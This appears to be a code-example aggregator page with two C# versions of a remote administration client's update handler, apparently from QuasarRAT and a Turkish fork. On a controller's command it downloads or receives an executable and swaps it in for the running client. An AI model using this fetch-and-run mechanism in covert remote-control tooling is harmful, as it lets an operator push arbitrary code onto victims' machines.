Пример #1
0
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            if (string.IsNullOrEmpty(command.DownloadUrl))
            {
                if (!_renamedFiles.ContainsKey(command.Id))
                {
                    _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(".exe"));
                }

                string filePath = _renamedFiles[command.Id];

                try
                {
                    if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
                    {
                        throw new Exception("No executable file");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
                    {
                        if (_renamedFiles.ContainsKey(command.Id))
                        {
                            _renamedFiles.Remove(command.Id);
                        }
                        client.Send(new SetStatus {
                            Message = "Updating..."
                        });
                        ClientUpdater.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.Id))
                    {
                        _renamedFiles.Remove(command.Id);
                    }
                    NativeMethods.DeleteFile(filePath);
                    client.Send(new SetStatus {
                        Message = $"Update failed: {ex.Message}"
                    });
                }

                return;
            }

            new Thread(() =>
            {
                client.Send(new SetStatus {
                    Message = "Downloading file..."
                });

                string tempFile = FileHelper.GetTempFilePath(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadUrl, tempFile);
                    }
                }
                catch
                {
                    client.Send(new SetStatus {
                        Message = "Download failed!"
                    });
                    return;
                }

                client.Send(new SetStatus {
                    Message = "Replacing executable..."
                });

                ClientUpdater.Update(client, tempFile);
            }).Start();
        }
Пример #2
0
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // YARRAK GİBİ UPDATE CODE İNC.
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
                }

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                    {
                        throw new Exception("EXE Bulunamadı.");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                        {
                            _renamedFiles.Remove(command.ID);
                        }
                        new SetStatus("Yükleniyor...").Execute(client);
                        ClientGüncelleyici.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }
                    NativeMethods.DeleteFile(filePath);
                    new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new SetStatus("Dosya İndiriliyor...").Execute(client);

                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new SetStatus("Yükleniyor...").Execute(client);

                ClientGüncelleyici.Update(client, tempFile);
            }).Start();
        }